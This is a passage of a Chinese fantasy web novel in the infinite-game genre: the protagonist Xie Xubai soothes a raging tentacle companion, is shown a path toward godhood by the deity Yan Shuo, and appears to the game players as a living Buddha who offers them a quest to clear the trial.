“就像你们看到的那样。”严岳掌腹压住不断翻飞的书页,手指点在那些扭曲的文字上,“玩家等级不够,无法阅读。” 玩家忍不住骂出声:“艹,系统居然在这里设坑。” “但江家主把它盯得这么紧,肯定有它的作用,我猜江家历代掌权者就是用这本古籍上记载的秘术控制所有江家人。” 将古籍重新放回檀木盒子里,严岳有理有据地分析道:“到时候我们或许可以用它和不甘受缚的江家人做交易,不过有个前提。” 其他玩家齐声问:“什么前提?” “当然是先活下来!……咳咳咳!”严岳只是嘴巴张得稍微大一点,就被灌了满口风。 黑云压境,雷轰电掣。地动山摇,狂风呼啸。 看着眼前这仿佛要毁天灭地的景象,心态再稳重的人也想骂娘。 严岳压抑一路的情绪倏然爆发:“刚才到底发生了什么,为什么这个副本看上去快崩了?!” 谢叙白站在祭坛中央,被小触手用无形的力量包裹,就像身处波澜不惊的风暴眼,风吹不到他的身上,雷劈不到他的周遭。 但他视野余光随便一扫,就能看见江家众人惊惶万状的模样。 再一回头,只见殿外黑云翻涌,银白雷霆从中窜出,带着骇然气势轰然砸下,劈开半边天幕,犹如末世之兆。 谢叙白惊得反手捏住小触手。 也是此时,他感觉到向来弹软的触手表皮变得坚硬无比,就像刺猬发火后倏然竖起自己的满身尖刺,连忙拽住激动伸展的触手尖尖:“等等小一别冲动!你怎么了?你在为我生气吗?” 小触手变硬后的吸盘就像冰冷的钢铁,力气非常大,掰也掰不动。 谢叙白顾不上那么多,情急之下伸出双手将小触手用力搂住:“我没事,真的没事,你看我现在状态非常好!” 雷鸣如旧,震耳欲聋。 显然只靠言语哄不住暴怒的小触手。 谢叙白疯狂搜刮脑子里的记忆,终于在千钧一发之际猛然想起,除了唱摇篮曲之外,他以前不经意间做出的一个举动让小触手反应极大。 眼见滑腻的触手即将从掌心挣脱,要去把这循环世界搅个天翻地覆,他闭了闭眼,俯身亲吻下去。 此时,所有玩家扒住树干,宛若打飘的落叶,在狂风中艰难稳住身形。 再不想想办法,别说顺利通关副本,怕是整个副本连带他们都要一起没了! “必须先检查出异动源!”严岳说着,拿出个形如罗盘的侦测道具,上面有指针、数值表以及显示屏。 道具效果如他所说,可以具体分析出祸乱的源头。 马尾女乱叫:“我觉得不用检查——你往祭坛中间看,这动静百分之九十九是那名叫余又的NPC搞出来的!” 初见时江凯乐放狠话只有谢叙白一个老师,接着触发必死条件的蝉生又被谢叙白救走,导致严岳对“余又”这个名字印象极深。 他顺势地将侦测盘对准谢叙白所在的祭坛中央。 刹那间,指针疯狂转动,显示屏蹦出一堆让人看不懂的乱码! 严岳脸色大变。 其他玩家心惊胆战地追问:“严会长,它这样显示是什么意思?” “正常情况下,它这里会显示出事件的危害规模,从D到A级,难度逐渐提升。” “那乱码是指?” 严岳不错眼地盯着祭坛,字字艰难地说道:“危害程度超出A级。” 听到这话,所有玩家感觉怀里抱着的不是树干是冰山,冻得透心凉。 《犬害》副本里诡王狂暴,数值一番爆涨超出A级,证实传说中的S级确实存在。 但知道存在是一回事,正面撞上又是另一回事。 在场有放弃上次副本的玩家,如那对小情侣。有运气好被大佬带飞的玩家,如死士和另一人。他们都没有直观感受过S级的恐怖。 眼下,看着数值表上的数字直线攀升,显示出极其危险的亮红色,仿佛在人心头打鼓。 他们的语气因紧张而格外干涩:“那这又代表着什么?” “这个数值表一般只在面对诡异生物的时候才会启动,代表它们的怒气值。” “绿色为开心,黄色为不悦,红色为暴怒,攀顶时狂暴。”严岳看着红得发黑的颜色,忍不住苦笑出声,“不用挣扎了,等死吧。” 别看他语气平静,实则是一种哀莫大于心死的绝望,扣在侦测盘上的手指微微松开。 其他人回头望向山崩地裂的景象,震惊于这居然是还未彻底狂暴的诡怪制造出来的动静,同时也对S级的可怖实力有了一个更加震撼的认知。 “难道就没有一点办法了吗?” 看着俨然已经放弃的严岳,其他人道:“要不我们现在冲过去阻止那名NPC!” “没用,都没用!看到那些江家人没有?他们位于祭坛周围,受到威压影响,已经维持不住人形,换我们冲过去,怕是下一秒就会被气流撕成碎片!” 严岳眼神涣散地盯着侦测盘:“如今想要改变局面,除非有奇迹发生……嗯?” 不止严岳表现出讶异,其他玩家看见突然停止上升的怒气值,都分感惊讶。 他们怀疑自己眼花,忍不住揉了揉眼睛,再睁眼去看时,怒气值居然瞬间回跌30格! 飓风不再咆哮,雷霆不再嘶吼,脚下的土地也停下震动。 玩家们于末日之景中,硬生生嗅到一抹诡异的祥和,心里掀起惊涛骇浪:这又是发生了什么? 严岳第一时间反应过来,惊异地看向没有风浪遮蔽、重回平静的祭坛。 只见那道颀长削瘦的身影双手向上,好似在拥抱一头无形且庞大的诡怪,眼睫轻阖,贴面落下一吻。 【……!】 被那两瓣温软的唇亲吻身体,小触手脑袋瓜一空,满腔怒火像被一阵轻风吹散。 好半天,才如梦初醒地晃悠起来,一圈又一圈地盘在谢叙白的身体上。 【嘿嘿嘿,白白怎么突然亲我呀?】 它摸着青年鬓角的冷汗,嘚瑟开心的声调忽然一变,像意识到什么般,音量越来越低。 【你怎么在出汗?……啊!我刚才吓到你了吗……是这样吗?】 掌下的触手皮肤就像蒸好的大白馒头,再次变得软乎乎。 谢叙白知道小触手终于恢复冷静,立时松上一口气。 顺势抚摸似乎惶恐不安的触手尖尖,谢叙白碰碰它的吸盘,温声安抚道:“当然没有被小一吓到,只是刚才怎么喊你都不回我……” 不等他说完,空气中忽然弥漫起一阵浓郁的白雾,犹如云涌一般涤荡开来,眨眼间笼罩整个循环世界。 海浪拍岸的声音由远至近,层层巨浪自四面八方聚拢,好似将他温柔包围。 谢叙白下意识抬头,看见一道被白雾笼罩的高大人影从黑暗中踱步而出。 他的步履不紧不慢,举手投足环绕着不容动摇的气质,冷肃锐利的视线仿佛能穿透空间,令人生畏。 而后便见他倏然伸出手,像扯皮筋儿一样,一把揪住小触手的尖尖! 【痛痛痛!要裂开了嗷嗷嗷嗷——】 谢叙白瞬间回神,连忙冲上去掰住人影不断握紧的拳头:“先生别激动,有话好好说!” 宴朔冷着脸没理会。 他算是彻底明白了,只有让这块脱体的躯壳时刻处于重伤状态,才能叫它彻底安分下来。 眼见小触手的表皮将被宴朔捏出裂纹,谢叙白不知哪儿来的力气,按着男人的肩膀挤上去和人对视:“先生拜托您了!冷静下来好么?” 清亮的眸眼颤动不止,犹如涟漪回荡的湖水,写满想要救下小触手的急切。 以及接连安抚两头暴怒诡怪的疲惫。 不,应该说是三头。 ——祂就是那第三头暴怒的怪物。 当宴朔意识到这一点的时候,心脏好似被一阵无形的风浪扫过。 他忍不住皱了皱眉头,动作跟着停下。 谢叙白一边冷静仔细地注意他的情绪变化,一边锲而不舍地掰他手指。 修长白皙的手指,握住男人满是硬茧且力量感十足的宽掌,又从对方指根到肌肉绷紧的指腹逐一按了个遍。 谢叙白不知道自己按了多久,按到五根手指都几乎酸麻,终于找到一丝腾空的缝隙。 他趁机挤进去,将男人犹如铁钳的手掰开,解放苦苦挣扎的小触手。 小触手重获自由,嗖一下缠到谢叙白的手腕上。 感觉到宴朔身上那股针对自己的杀意,它委屈巴巴地质问:【你属河豚的吗,为什么又生气啊?!】 宴朔不留痕迹地瞥向自己的手掌。 青年掰他的时候,他因躯壳犯下的罪孽颇感厌烦。 青年救下小触手后毫不犹豫地放开他,又让他忍不住眉头一锁。 短短几秒的时间,谢叙白皮肤自带的淡淡热意依然残留在他的指节上,随后在湿冷的雾气中,恍若烟雨般慢慢消散,感觉陌生又奇怪。 听到小触手的质问声,他回神,抬眸冷冷地瞥过去:“我有没有说过,不能在外面彻底释放力量?” 愤愤不平的小触手一顿,尖尖缓慢弯成个问号。 【……有吗?】 反正小触手记忆中是没有的,它和宴朔能正常说上两句话都是个奇迹,更别提教导自己克制力量。 但紧接着,小触手摸到了青年快速搏动的脉搏,“听”到他扑通狂跳的心率。 就像小触手感受到的那样,谢叙白远远没有表现出来的那么平静,毕竟他只和宴朔见过一次,对男人的真实一知半解,无法估量对方被惹恼的后果。 【……】 不知怎么的,小触手忽然想起谢叙白刚才着急忙慌安抚它的样子。 ……那样的它,和现在让青年受惊的宴朔有什么不同呢? 就在谢叙白斟酌言语该怎么打圆场的时候,忽然感觉到小触手从手腕上脱落下来,凑过去和宴朔说:【那你把我的力量拿走一半吧。】 【我不能再吓到白白了。】 它把尖尖伸过去:【永远地“切”断它,重新融回本体,我知道你想这么做很久啦。】 小触手有两个脑子,一个在触手腹部,一个在根部。 它特意交给宴朔的那部分,就有它其中一个脑子,也有它一半的力量。 为了不让谢叙白担心,小触手特意用力量扭曲自己的言语,没让青年听到它在说什么。 宴朔捏住小触手的尖尖,感受不到任何挣扎,眼皮一掀,怒气化作浓郁的不解。 他意识到躯壳是认真的,仅仅为了不吓到谢叙白,就甘愿交出所有诡怪贪婪渴望的力量? 简直……不再像个怪物。 谢叙白见一人一触手之间的气氛不太对,两步走过去,将小触手重新缠回自己的手腕上,又用巴掌按住不断扭动的小家伙,若无其事地笑了笑:“话说回来,没想到您会是在世活佛,失敬。” 宴朔知道谢叙白在强行转移话题,只是他心中充满无法解答的疑惑,一时间没有作出反应。 半晌,才迎着谢叙白的目光,淡淡道:“我不是。” 谢叙白愣了愣:“您不是吗?可蔡老说小一就是佛。” 小触手还想着让宴朔拿走力量,结果被谢叙白偷偷用手指不停揉动安抚,一秒忘乎所以,开心地扭来扭去。 “它更不是。”宴朔瞥了眼傻里傻气的小触手,又顺势移到谢叙白的手指上。 仿佛能感受到一道炙热的目光透过白雾穿刺而来,谢叙白的手指顿了顿。 不知道为什么,当他停下揉小触手的动作时,感觉男人好像暗中放松许多。 宴朔道:“此世无佛,皆都消散,我只是碰巧得到一部分权能,所以能响应佛坛的召唤。” 他的视线转向静止不动的蔡老,带着不曾变化的冰冷:“但能毫无疑虑地将魔认作佛,说明他的信仰已经完全败坏,离堕落不远了。” 谢叙白一怔,重点全在“此世无佛”几个字上。 他下意识追问道:“如果这世上没有佛,那江凯乐佛子的身份是怎么回事?” 宴朔道:“我所说的佛,指代传说有名、证悟其道的成佛。江凯乐只是应众生祈愿而生,没有道行,也没修出佛意。” “不过按人类的普罗认知,确实可以将他称为佛子,若他一出生就在寺庙中潜心修炼,而非被恶意污染,没准这世上真的能够诞生出新佛。” 但这显然不可能。 并不是江家人成功使用邪术,才求来的佛子,而是此地怨气颇重、民不聊生,佛子方才应愿而生。 江凯乐身负使命,一日不解决江家的累累血债,就一日无法脱离苦海。 谢叙白想起江凯乐当大侠的梦想,不由得有些怅然:“你能不能告诉我,我该怎么救他?” 宴朔却道:“你不是已经猜到该怎么救他了么?” “……” 仿佛能读懂青年不切实际的心思,宴朔冷声告诫道:“因为你的干预,他摆脱既定的结局,已是大幸。” “如果你贪心不足,还想消除他迄今为止经历过的所有苦痛,反而会酿成想象不到的悲剧。” 谢叙白道:“嗯……谢谢您的忠告。” 说话的功夫,他缓慢垂下眼睫,拇指在食指上用力掐出一道道白痕。 宴朔视线下移,盯着他颤若蝶翼的狭长睫毛,知道谢叙白还在绞尽脑汁地想对策,抓着那一丝虚无缥缈的希望不肯放手。 这名人类……宴朔在他身上看到了许多矛盾的特性。 他可以很知足,哪怕累到身心俱疲,只要被猫猫狗狗蹭一下,就能由衷地露出笑容。 他也会很贪婪,例如此刻,为了达成目的,不惜把命放在衡量筹码的天平上。 那么他到底是知足还是贪婪? 会一直是人类,还是会在某一时刻因为贪念和偏执变成诡怪? 宴朔的思维有点飘忽。 他很少会有这种百思不得其解的困惑感,却在遇到谢叙白之后频频发生。 一丝不合时宜的好奇心也油然而生。 他忽然特别想知道,这样的谢叙白能在异化的世界中行走多久。 正在冥思苦想的谢叙白,忽然听到宴朔道:“江凯乐的重重过去构成了现在的他,所以我不能帮你逆转时间,那会颠覆因果。” “但我帮你做一件事,或许可以如你所愿,不再给江凯乐带来更多的痛苦。” 宴朔单掌上抬。 谢叙白低头,忽然看到几道乳白色的线条从他的胸口蔓延出去,颜色有深有浅,一路延伸到不远处的玩家身上。 “这些线条是你结下的善缘,线条连接的那些契魂,身上则拥有你所需要的力量。” “契魂?” “是我顺口的说辞,他们的魂魄受某个契约影响,身不由己。” 谢叙白下意识联想到玩家们被系统和任务挟持。 只是再一深想,就忍不住头疼起来。 宴朔手指上挑,点在他的眉心:“静心。” 他的手指冷冰冰的,鲜明的凉意从眉心泛起,使谢叙白的意识重获清明。 谢叙白定了定神,看见宴朔从线条中挑出两根,递交给他。 他试探性地接过。 其中一根线,是里面颜色最深的,隐隐透着淡金色,看它延展的方向似乎通向江家……蝉生? 另一根线也能看到丝丝金色,尾端连接着严岳。 “金色为信仰。如果这些善缘线能彻底变成金色,他们将成为你的信徒,任你驱策。”宴朔意有所指地提点道,“知道神是怎么来的么?” 谢叙白倏然明白宴朔话里的深意,心跳仿佛空掉一拍,瞳孔张大。 宴朔读出他的震惊,心道真是奇怪。 明明对上祂这个正儿八经的神时不见一点质疑害怕,得知自己有成神的机遇,反而惶惶不安起来。 谢叙白皱紧眉头:“不,我没想过……” 宴朔几乎脱口而出:你想得到拯救所有人的力量,那不就是神吗? 他突兀一顿,将这句充满蛊惑性的话语吞咽回去,暗道失态。 蛊惑他人堕落是祂的专职,他许久没生出这样浓郁的兴致,差点没按捺住自己的本性。 谢叙白确实心里难安,从人到神的跨度太大,他感觉那不是自己能够掌控的身份和力量。 以前那么拼,是想在找到离家的便宜父亲时有底气面对。 而现在,他只想带家里的猫猫狗狗、他的学生还有朋友,过普普通通的生活。 只是一回头,看见江家人神色各异的脸。或扭曲,或怒目,没有一个带着善意。 谢叙白明白,想让江家人乖乖听话,他必须拥有震慑他们的本事。 于是宴朔看见了,仅仅不到1秒的时间,青年的眼神便从不安抗拒变得坚定平静。 如藏在石胚里的宝玉,在解石的切刀下,忽然露出它瑰丽夺目的一角。 迷人至极。 ——我没有帮他们实现愿望的力量,如果要获得信仰,只能造势,就像古代鱼腹藏书。 谢叙白打定主意后,思维转动得很快,竟和宴朔的想法不谋而合。 只是一根小触手,就差点让这循环世界崩溃,宴朔当然不能直接出手。 此世无佛,谢叙白请不来佛。 但宴朔可以用幻术为他披上袈裟,缀起漫天五彩祥云,驱使龙凤环伺身侧。 在宴朔使用幻术之前,谢叙白问道:“您刚才说可以回溯时间,那您是否能够看到过去?” 宴朔问:“你想知道什么?” “江家宗祠里的那两个人……” “江世荣一开始就没想让他们活,在他们被锁进棺材前令人把他们捆成跪姿,当天下午,那两人便因为胸口憋气而死。” 谢叙白闭了闭眼。 一方面他从吴医生那得知,江凯乐的大部分心魔源于之前那场大火,为自己的学生能得到解脱而感到宽松。 另一方面,他为两条鲜明生命的惨死而心情沉重。 悲天悯人。 或许是先入为主,宴朔竟然真的在谢叙白的面相上看到一丝神性。 他忽然心念微动,手指一抖变出支沾着红墨的眉笔,随后伸出另一只手,缓缓抬起谢叙白的下颚。 谢叙白的视角由下至上,宴朔的视线由高至低,两道目光交汇在一起,仿若被无形的力量隔绝出一个只有彼此的空间。 距离很近。 宴朔忽然听到加快的心跳声,淡淡地说道:“保持平常心。” 谢叙白茫然地眨眨眼睛,他觉得自己很平静,心跳和脉搏平稳,身子没有发抖或其他什么的。 忽然,他视线偏移,注意到罩在宴朔脖颈的白雾又不知不觉散开了。 比上次散得还多一点,露出小半张侧颊,轮廓似刀削般冷硬。 下一秒,朱笔似蜻蜓点水,点上他的眉心。 …… 不知过了多久,因神祇降临而时间定格的江家人和几名玩家终于能动弹了。 却见本来昏暗的天空忽然变得敞亮无比,而位于祭坛中央的人也全然变了个样!《 》 45-50 第46章 您果然是在世活佛!…… 众人忍不住想凑近看个仔细,忽然听到一阵规律的木鱼声。 清脆如摇铃轻晃,又有瀑布奔流的沉厚,自佛坛四面八方传响。 咚、咚、咚…… 随着木鱼声一道重过一道,天上还未完全消散的黑云和雷霆被彻底震碎。 一缕金色的佛光破开天幕,直照而下。 木鱼声随之远去,又有阵阵佛音自金光中响起。刹那间七彩祥云广铺万里,无数身影应召而来! 祂们脚踏祥云,或披袈裟,或着仙衣,容貌各异,因规则阻碍叫人看不分明。有金刚怒目,有菩萨垂怜。 诸多目光波澜不惊,似乎超然物外。其身屹立于九重天上,威武之气扑面而至。 这是……诸天三千神佛? 余又还真把佛请来了?! 众人脸上难掩震撼,可紧接着发生的一幕,再次往他们的心灵落下千钧重锤。 只见那些高高在上的漫天神佛,竟然全都低下了头颅。 万千佛光随祂们的视线降落,汇集之处,赫然就是佛坛中央那道颀长清瘦的身影。 彼时祂们的神情不再无悲无喜,有的眼露复杂,有的微微颔首。 更有甚者,躬下身来,竟带着恭敬俯首之意! 能让狮子低头的,只能是比它还要健壮强大的雄狮。 同理,能让神佛放下身段致意的,也只能是…… 众人骇然看去。 凤鸟飞翔,莲华盛放。 雪白袈裟无风自动,如瀑青丝顺着瘦削的肩膀四散开来,纤细修长的手指扣着白玉佛珠,衬得腕骨皮肤似高山落雪。 青年抬起头,容貌俊美出尘,神色清冷淡漠,眼中仿若含着无边慈悲。 祭坛建立在山上,哪怕江家下人勤加打扫,也难免会积上一层粉尘石灰。 可此时此刻,整个佛坛上的灰尘泥垢竟然消失得一干二净。 不沾半点尘埃。 小触手本来在天上帮忙塑造神佛的幻影。这里搭一朵祥云,那边放一只飞鸟,玩得不亦乐乎。 见状,它忍不住蹿了回来,搭在宴朔的脑袋上,恍惚地看着佛坛上的白袍长发青年。 【……白白变化好大呀,你做了什么?】 宴朔久久没有回应。 持着朱笔的手停在半空,一滴红墨不知在笔尖凝结多久,半坠不坠。 小触手以为是祂做了些什么,才让谢叙白如濯涟芙蓉般,从里到外改头换面。 但只有祂自己才清楚,这就是谢叙白真实的内在,用佛的权能引导出来,并未经过一丝外力修饰作伪。 巧是青年抬起眼睫,展露出那张清冷脱俗的脸。 眉心缀着一点朱红,红墨于白肤绽放,似万年不化的雪山长出一树血梅,昳丽不凡。 宴朔目不转睛地凝视着那点朱红,都没意识到,自己有些出神。 余光扫见看呆的众人,祂没忍住皱了皱眉头,手指一抬,无形的力量笼罩在谢叙白的眉间。 其他人被这浩大震撼的声势吸引,无暇注意青年眉间朱红的消失。 红痣还在。 却只有祂一个能看。 再然后,谢叙白的淡然目光落在佛坛前的江家人身上,仿佛透过他们的躯体,看到里面肮脏腐烂的灵魂。 他叹出一口气,拨动手中的佛珠。只见一阵飓风从青年的脚底升起,万丈漩涡直冲云霄。 轰——! 厚重神圣的佛音似洪钟敲响,刹那间震荡天穹,所有人被冲得东摇西晃,若不稳翻滚的砂砾。 有人被无边佛光中涤荡心灵,意识清明,如严岳等玩家。 有人好似灵魂被红莲业火焚烧,痛得忍不住嚎哭大叫,满地打滚求饶,如江家众人。 佛。 他就是佛。 刹那间,众人心里都萌生出这一想法,且没有任何质疑。 滔天风暴再次袭来,砖瓦翻飞树叶狂抖。 所有人无一例外,在剧烈颠簸中双眼一黑,昏迷过去。 * 不知道过去多长时间,严岳等人陆陆续续醒来,按着胀痛的太阳穴,脑子一片混乱。 他们环顾四周,很快认出这是江家大院。 庭院中绿植繁茂,花朵盛开,喷泉流水不停,豪华别墅矗立前方。 没有宫殿,也没有祭坛,更没有无边佛光和翩若惊鸿的人佛。 马尾女恍惚地说:“嘶,我好像做了一个不得了的梦。” 风衣男:“我也……” 马尾女觉得昏迷前看到的那一幕不可能是真的,眼前的景象也证实了这点。 她开玩笑般问道:“我猜猜,你的梦里是不是也有漫天神佛?” 风衣男:“……” 后者没有吭声,不敢置信地回望她。 马尾女悟得他眼中的意味,笑容一僵。 两人大眼瞪小眼,空气死一般寂静。 “别想了,不可能是真的啦!” 马尾女貌似乐观地大笑起来:“无限游戏注重公平和平衡性,要真的有神佛存在,那得SSS级往上了吧,我们拿头打啊?哈哈哈……” 严岳揉着眩晕的额头没吭声。 忽然,身边有脚步声传来,紧跟着响起一道温润悦耳的嗓音:“醒了?” 所有玩家一秒绷紧肌肉,警惕地看过去。 直至看清楚来者的长相,他们嘴巴一张,目瞪口呆。 “我靠,余又!”马尾女声音一滞,发现不对劲,凝神观察谢叙白的脸。 这个NPC给她的感觉,忽然变得很不一般。 不止是她有这种奇异的感觉,其他玩家也是一样。 下一秒,严岳激烈的反应为他们解惑。 只见向来稳重自持的男人仓促地从地上爬起来,因为动作太大,左脚甚至在鹅卵石地板上狠狠打滑了一下。 他连忙站稳,三步并作两步跨到谢叙白的面前,又嚅嗫嘴唇十分拘谨,似乎不知道该说些什么。 谢叙白对上严岳的眼睛,仿佛能读出里面的困惑和局促,笑了笑,率先问候道:“没想到还能再见面。” “真的是你……您!”严岳紧绷的脸皮一松,再也掩盖不住激动。 这时,其他玩家还比较淡定。 刚才在江家大院中醒来,看见熟悉的建筑物,他们已经先入为主地把昏迷前的记忆认定成群体幻术。 而且青年沐浴佛光步步生莲的景象,实在太具超现实的梦幻色彩。 那壮观神圣的一幕幕,犹如咆哮的浪潮在他们的脑子里来回跌宕,一经回想,就有种喝醉后晕晕乎乎的感觉。 一时半会,没法和眼前身穿白衬衫、面带温和笑意的青年联系在一起。 马尾女见严岳面向谢叙白语无伦次的样子,有种稳重大汉突然变成羞赧小学鸡的形象崩塌感,在组队频道里试探性地问:【严会长,你认识这个NPC?】 严岳回得很快:他就是谢叙白! 谢叙白……谢叙白? 所有看到组队消息的玩家们倏然瞪大眼睛,脸上是如出一辙的震惊。 他们不错眼地盯着谢叙白,从眉毛到线条优美的下颔,不敢有一丝错漏。 看着看着,几人发现青年的长相特征,真的和分析师说过的极其相似! 可为什么他们在一开始见到谢叙白的时候没有丝毫察觉? 还有马尾女两人。 他们没参加上场试炼,严岳直播临近结尾时,也匆匆点进去看过一眼。 当时谢叙白逆光而立的背影,在镜头中简直惊为天人。 为什么他们和严岳都没能认出对方? 玩家们当然不知道,他们之所以在试炼开局认不出谢叙白,是因为小触手栖息在后者的影子里。 小触手有拟态的能力,可以变化形态,扰乱他人的认知。 循环开启后,它因规则限制陷入沉睡,但对谢叙白的保护欲已经刻入本能,哪怕睡得昏天黑地,也时刻为青年使用着混淆认知的能力。 谢叙白从宴朔口中得知这件事的时候,当场忍不住捞起小触手感激地亲了一大口! 毕竟小家伙即使睡着了,也想着保护自己,怎么不让他感动? 加上玩家群体中,还有胡昌这样对他满怀敌意和恶意的存在。 小触手的能力直接免掉他被人盯上的麻烦,让他得以在调查真相时不受阻碍,也是帮了他很大一个忙。 也是亲过几次后,谢叙白忽然发现,得到亲吻的小触手,身体会因为开心而软得一塌糊涂,弹弹嫩嫩的,手感非常棒,让人爱不释手。 如果不是宴朔面无表情地将小触手一把拽了过去,谢叙白都想要好好揉揉这个可爱的小家伙。 眼下,玩家们看着眉眼如画的谢叙白,心中宛如翻江倒海。 不止是发现余又就是谢叙白,更因为他们忽然意识到,昏迷前看到的那些场景,很大可能不是他们的幻觉。 “谢叙白”等于“余又”,等于实力高深莫测的“佛”? 一瞬间,组队频道炸开了锅。 马尾女疯狂艾特严岳:【严会长你快问问之前发生的事情到底是不是真的,还有谢叙白的真实身份是什么?是佛吗?是佛吧!这名特殊NPC原来这么强大的吗?】 就连内向寡言的风衣男也忍不住跟着一起艾特:【严会长你发现没有?谢叙白和诡王江凯乐关系匪浅,后者甚至把他称作唯一的老师,诡王狂暴时也是谢叙白出面将它安抚下来。】 风衣男:和你在上场副本的情况简直一模一样! 风衣男:说明谢叙白在这场试炼中同样担任着非同寻常的角色,他一定就是我们通关副本的关键! 几名玩家连着询问严岳和谢叙白的交情怎么样,谢叙白对玩家群体又是什么看法,愿不愿意帮他们通关试炼。 马尾女:如果能帮我们通关的话,让我们做什么都行啊! 看得严岳又想苦笑。 说得这么轻巧。 谢叙白既是诡王的老师,又疑似无所不能的神祇,他们这些对A级诡王都束手无策的玩家又能帮人做些什么? 人能看得上他们吗? 而且他和谢叙白哪儿有什么交情,甚至可以说有仇。当时谢叙白明显是为诡王狂暴才出面,救下玩家只是顺带。 想起自己曾经试图拿捏谢叙白的蠢事,严岳简直羞愧地想找个缝儿钻进去,更说不出拜托人帮忙的话。 谢叙白注意到其他玩家神色激动、嘴里念念有词,猜到他们有自己的秘密通讯方式。 严岳满脸不自然,大概率在被其他玩家催促询问通关的线索。 感受到谢叙白的视线,马尾女似有所觉地抬头,和人对上眼。 来不及收敛神情故作矜持,便见青年冲她温和地笑了笑,眼中带着洞悉一切的清明。 这一笑,瞬间与漫天金色佛光下的超然姿态重合在一起,在马尾女的心中掀起惊涛骇浪。 她没法回神了。 旁边的风衣男见她神色有异,怕谢叙白感到冒犯对她下手,紧张地往前一步,挡在人的身前。 却听谢叙白忽然道:“你们被江家人误会偷盗的那件事,我已经帮你们解释清楚了,到你们离开这里之前,江家人都不会再对你们出手。” 居然能躲过必死规则? 风衣男闻言瞬间喜上眉梢。 随后又见谢叙白莞尔一笑,点了点自己的侧颊。 他还没反应过来,倒是被他扯回神的马尾女闻声抬头,伸手摘掉风衣男嘴角的草屑:“什么时候沾上去的,我都没注意。呃,你这边脸好脏。” 马尾女拿袖子给他擦脸,风衣男连忙低头,看见对方袖子上的黑灰,愣了愣。 他再抬头看向谢叙白,似乎能从那双温润似水的眸眼中看出一丝打趣的意味,瞬间脸颊涨红,有点不敢再去看人。 谁能想到翻手为云覆手为雨的大佬,竟然会注意到这样的小细节? 严岳听到谢叙白的话,陡然想起自己才到手的特殊道具,赶忙取出檀木盒子,把里面的秘术古籍交给对方。 “您看看,这个东西对您有用吗?” 谢叙白不太习惯被人用敬称称呼。 但宴朔此前告诉过他,接受他人的敬仰,只是成神的第一步。一旦决定以普通人的姿态走上这条路,他将担负许多东西。 而谢叙白已有觉悟。 他顿了顿,转瞬收敛好所有情绪,将古籍接过。 念白适时在他脑海中响起。 【我看见江家秘术中写道:江家人以偶然得到的秘术称霸一方,自知作恶多端,日后若有人叛族,向外透露术方,必招来杀生灭族之祸。 当代家主便以血脉为引,施展束魂秘术,借此约束所有族人……】 仔细阅读到最后,找到解除江凯乐束缚的方法,谢叙白不由得欣喜万分。 其他玩家暗中观察谢叙白的反应。 古籍有等级限制。见人细细品读,竟然真的能看懂上面的诡异文字,他们更加坚定对方不一般的想法。 “多谢,这本书对我有大用。”谢叙白合上书,“除此之外,我还需要你再帮我一个忙。” 严岳还没来得及说话,忽然眼前弹出一个虚拟屏幕。 【是否接受“谢叙白”发布的协助任务?】 人物名称:谢叙白(化名:余又) 身份:【A级诡王“平安”之主】、【A级诡王“江凯乐”的唯一老师】、【???级诡王■■■的挚友】【???级诡王■■的挚爱】 【更多身份待探索。】 【注:完成特殊NPC“谢叙白”发布的任务后,或可直接通关该场试炼。】 直!接!通!关! 虽说只有严岳接到任务提示,但组队模式下,任务面板不隐形。 见严岳呆住,马尾女忍不住凑上去看任务提示。 然后她也呆住了。 见马尾女呆住,风衣男跟着走上去,看着那一长串身份介绍,一样目瞪口呆。 剩下的两名玩家不明所以,顺势探头去看,下巴差点惊得掉在地上。 他们在某一时刻齐刷刷地看向谢叙白,眼睛亮得可怕。 严岳不断平复急剧的心跳。他太激动了,得想想该说些什么。 结果就是这斟酌言语的几秒时间,马尾女拽着风衣男冲上去,猛猛握住谢叙白的手,热泪盈眶! 什么NPC,什么神鬼莫测的可疑人物。对迫切想要通关的玩家来说,在这一刻谢叙白只有一个身份—— “佛祖啊,您果然就是在世活佛!”马尾女卖力推销他俩,“您看看我们怎么样?手脚麻利行动迅速,听话懂事,您叫我们往东我们绝对不会往西,绝对比那边的古板木头大直男好用多了!” 古板大直男严岳:“……???” 独行玩家也匆匆上前毛遂自荐。 死士看严岳居然还愣着,两步跨到人的身边,恨铁不成钢地劝告道:“严会长,机会都要被人给抢走了,您还不赶快?” “明明是您先得到他的青睐!” 什么青睐,为什么这话从你嘴里吐出来会这么奇怪? 严岳看着眼前这片热烈的“争宠”现场,等反应过来的时候,他已经大跨步挺身向前:“当然可以,只要是您的吩咐,让我做什么都可以!” ——你们可真没出息。 几名玩家相视一眼,眼中是如出一辙的唾弃和战欲。 看他们表现得这么热情,谢叙白一愣,随即笑了一声:“那就麻烦你们了,跟我来吧。” 那笑声仿佛一根轻羽搔到所有人的心头,瞬间把他们笑得找不着南北,晕乎乎地跟了上去。 而直播间外的所有观众,看着“或可直接通关该场试炼”的字样时已然傻眼,霎时间尖叫声再起,全场爆沸! 第47章 乐乐,他说白白的坏话哦…… 谢叙白不知道直播大厅正在上演一场轰轰烈烈的狂欢,带着严岳他们来到后院花园。 江家家大业大,宅内就有好几处庭院。 和那些精美别致的景观林园相比,眼前这个小花园地处偏僻,毫不起眼,很少有保镖佣人路过。 以往不需要上课的闲暇时间,谢叙白就会带着江凯乐来这里躲懒。 午后的阳光最是娴静,透过茂密的树叶落下斑斓光影。青草在风中微晃,散开一阵清香。 热忱骄傲的少年会装作不经意地靠过来,双眼微微放光,问他许多和未来有关的问题。 【老师,就算我以后成为家主,应该也能空出时间,到时候能不能去你家做客?听说你养了很多猫狗,它们都长什么样?性格怎么样,怕生吗?喜欢什么零食和玩具?】 不多时,似乎得到让人安心的答复,少年脸上的忐忑逐渐消失,满是希冀,忍不住咧嘴低笑起来:【真希望那一天快点来。】 密切关注谢叙白的玩家们发现,从走入这个小花园开始,对方似乎不知不觉地放松许多。 谢叙白继续往前走,直至在一棵大树前停下。 严岳等人顺势看去。 这里比较靠近诡王的住所,他们之前探查过,当时并未发现异常。 如今仔细观察,单凭肉眼也没看出什么端倪。 但凝视这棵树的谢叙白,表情忽然变得相当柔和。 其实和他们交流的时候,青年也表现得很友善。 没有小触手的认知干扰,那张俊美清绝的姿容得以展现。 仅是垂下浓密纤长的睫毛,弯唇流露出一丝若有若无的浅笑,就足以让玩家们心神荡漾。 可那种礼貌性的友好,和此刻真心实意的温柔比起来,完全不一样。 这里高大挺拔的树何其多? 那双璀璨明眸却只映照着这一棵树,眼里流光跃动,专注得令人生嫉。 